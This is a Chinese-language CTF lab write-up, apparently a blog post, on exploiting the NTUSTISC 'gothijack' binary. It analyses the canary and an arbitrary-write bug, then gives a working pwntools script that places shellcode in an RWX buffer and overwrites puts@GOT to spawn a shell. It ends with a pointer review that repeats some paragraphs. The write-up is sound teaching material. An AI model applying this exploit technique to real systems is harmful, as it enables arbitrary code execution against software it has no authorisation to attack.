[NTUSTISC pwn LAB 4]gothijacking

[NTUSTISC pwn LAB 4]gothijacking

1、检查保护

开启了Canary栈溢出保护,同时有可读可写可执行的段,got表可写入。

请添加图片描述

2、程序分析

(1)静态分析

一般带canary的栈保护措施都会向栈中写入一串随机数,然后执行完某个步骤进行随机数比对,若相同则继续执行,若不同则退出程序。通过观察反汇编代码,输出what’s your name后需要向name所在地址中输入0x40长度的数据。name在bss段的长度为:0xBF-0X80+1=64。通过检查保护措施看到有RWX的段,是否可以通过向name中写入shellcode然后将程序执行流指向name的起始地址呢?此时需要进行栈溢出控制返回地址,但是由于canary的存在,栈溢出的方式去控制程序执行流需要泄露canary或ROP的方式,并且read函数的长度也没有超出大小。继续观察反汇编代码,输出Where do you want to write?,然后需要输入64位无符号数。

“%lld"和”%llu"是linux下gcc/g++用于long long int类型(64 bits)输入输出的格式符。void *buf则为“无类型指针”,void* 可以指向任何类型的数据。但是反汇编代码中并没有对*buf指针进行初始化,[rsp+0h] [rbp-10h]指明了其在栈上的位置。通过输入scanf输入长度为8字节数据后,指针变量buf中存储的就是输入的地址。程序继续执行到read函数,向buf也就是之前输入的地址中输入长度为8的数据,程序继续执行。
请添加图片描述

canary 机制

fs为段寄存器,程序从fs:28h处取 8 字节的值放在栈上,Canary值在rbp到rsp之间(并不一定是rbp-8的位置)。

.text:000000000040071F                 mov     rax, fs:28h
.text:0000000000400728                 mov     [rbp+var_8], rax
.text:000000000040072C                 xor     eax, eax
.text:0000000000400804                 xor     rcx, fs:28h
.text:000000000040080D                 jz      short locret_400814
.text:000000000040080F                 call    ___stack_chk_fail

函数返回前,再次从fs:28h处将值取出,与栈上的值进行比较,如果改变则终止程序。

(2)动态分析

请添加图片描述

3、漏洞利用

(1)利用思路

该程序存在任意地址写的漏洞,通过向存在RWX权限的name数组中写入shellcode,然后劫持puts的plt表项到name的起始地址,即可控制程序执行流。进而获取shell。

(2)利用过程

1)shellcode生成
sc = asm(shellcraft.sh())
2)name地址获取

请添加图片描述

3)puts@plt获取

objdump -d gothijack

请添加图片描述

4)exp编写
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process("./gothijack")
p.recvuntil("?\n")
sc = asm(shellcraft.sh())
p.send(sc)
p.recvuntil("?\n")
p.sendline(str(0x601018))#注意scanf与read对应sendline与send
p.recvuntil(": ")
p.send(p64(0x601080))
p.interactive()

4、动态验证

查看0x601018地址,此时还是put@plt,并未改变。0x10gx 0x601018

请添加图片描述

通过DEBUG信息发送的信息已经成功存储到name中。x/20i 0x601080

请添加图片描述

进入read函数发现put@plt更改为name的地址。

请添加图片描述

请添加图片描述
最后成功获取shell.
请添加图片描述

请添加图片描述

5、指针复盘

假设定义一个指针p。那么会经常使用到三个符号:p、*p、&p

p是一个指针变量的名字,表示此指针变量指向的内存地址,如果使用%p来输出的话,它将是一个16进制数。

而*p表示此指针指向的内存地址中存放的内容,一般是一个和指针类型一致的变量或者常量。

&是取地址运算符,&p就是取指针p的地址。

指针p同时也是个变量,既然是变量,编译器肯定要为其分配内存地址,就像程序中定义了一个int型的变量i,编译器要为其分配一块内存空间一样。

指针类型一致的变量或者常量。

&是取地址运算符,&p就是取指针p的地址。

指针p同时也是个变量,既然是变量,编译器肯定要为其分配内存地址,就像程序中定义了一个int型的变量i,编译器要为其分配一块内存空间一样。

而&p就表示编译器为变量p分配的内存地址,而因为p是一个指针变量,这种特殊的身份注定了它要指向另外一个内存地址,程序员按照程序的需要让它指向一个内存地址,这个它指向的内存地址就用p表示。而且,p指向的地址中的内容就用*p表示。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值